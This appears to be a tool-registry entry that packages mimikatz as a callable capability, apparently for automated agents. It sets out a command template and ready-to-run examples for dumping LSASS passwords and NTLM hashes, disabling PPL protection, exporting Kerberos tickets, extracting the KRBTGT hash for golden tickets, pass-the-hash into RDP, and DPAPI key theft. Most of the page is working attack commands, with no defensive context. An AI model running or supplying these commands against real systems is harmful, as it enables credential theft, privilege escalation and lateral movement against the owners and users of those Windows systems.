security enabled verified critical v1.0.0

mimikatz

Post-exploitation credential extraction tool that recovers plaintext passwords, NTLM hashes, Kerberos tickets, and DPAPI keys from Windows memory and registry hives.

📋 Live Preview

mimikatz "{command}" exit

📎 command

mimikatz "{command}" exit

Sandbox: execFile · Timeout: 60s

Capabilities

security.credential.dump.lsass

security.credential.wdigest

security.credential.ntlm

security.credential.kerberostickets

security.credential.dpapi

security.credential.masterkeys

security.pth

security.ptt

Parameters

Name	Type	Required	Default	Description	Aliases
`command`	string	Yes	-	Mimikatz command (e.g., sekurlsa::logonpasswords)	-

Contract

Inputs

windows.process.dump

LSASS process dump file

Outputs

security.credential.dump

Extracted plaintext passwords, hashes, and tickets

Side effects: process_spawnfilesystem_write

Workflow Edges

Produces

security.credential.dump

Consumes

windows.process.dump

Resource Profile

Resource	Value
CPU	medium
Memory	256 MB
Network	low
Disk I/O	low

Examples

One-liner dump all logon passwords

mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

Load mimikatz in memory via PowerShell

Invoke-Mimikatz -DumpCreds

Disable PPL (Protected Process Light) before dumping

mimikatz "!+" "privilege::debug" "sekurlsa::logonpasswords" exit

Extract credentials from a LSASS dump file

mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

Extract credentials from volume shadow copy

mimikatz "lsadump::sam /server:$(hostname)" exit

Extract Kerberos tickets

mimikatz "privilege::debug" "sekurlsa::tickets /export" exit

Extract domain SID and KRBTGT hash for golden ticket

mimikatz "privilege::debug" "lsadump::lsa /inject /id:502" exit

Pass-the-hash to RDP session

mimikatz "privilege::debug" "sekurlsa::pth /user:admin /domain:evilcorp /ntlm:<HASH> /run:mstsc.exe /restrictedadmin"

DPAPI master key extraction

mimikatz "privilege::debug" "sekurlsa::dpapi" exit

Documentation

mimikatz — Windows Credential Extraction

mimikatz is the standard tool for extracting credentials from Windows systems. It operates by reading LSASS process memory, SAM/SECURITY registry hives, and DPAPI master keys.

Common Commands

Command	Purpose
`privilege::debug`	Enable SeDebugPrivilege (required)
`sekurlsa::logonpasswords`	Dump plaintext passwords and NTLM hashes
`sekurlsa::tickets /export`	Export Kerberos tickets
`lsadump::lsa /inject`	Dump LSA secrets (KRBTGT hash)
`lsadump::sam`	Dump SAM hashes
`sekurlsa::pth`	Pass-the-hash
`dpapi::masterkey`	Extract DPAPI master keys

Requirements

Administrator privileges on the target
SeDebugPrivilege: Usually held by Administrators
PPL bypass: Some systems require PPL evasion (e.g., mimikatz !+)

Related Tools

netexecimpacket

References

mimikatz GitHub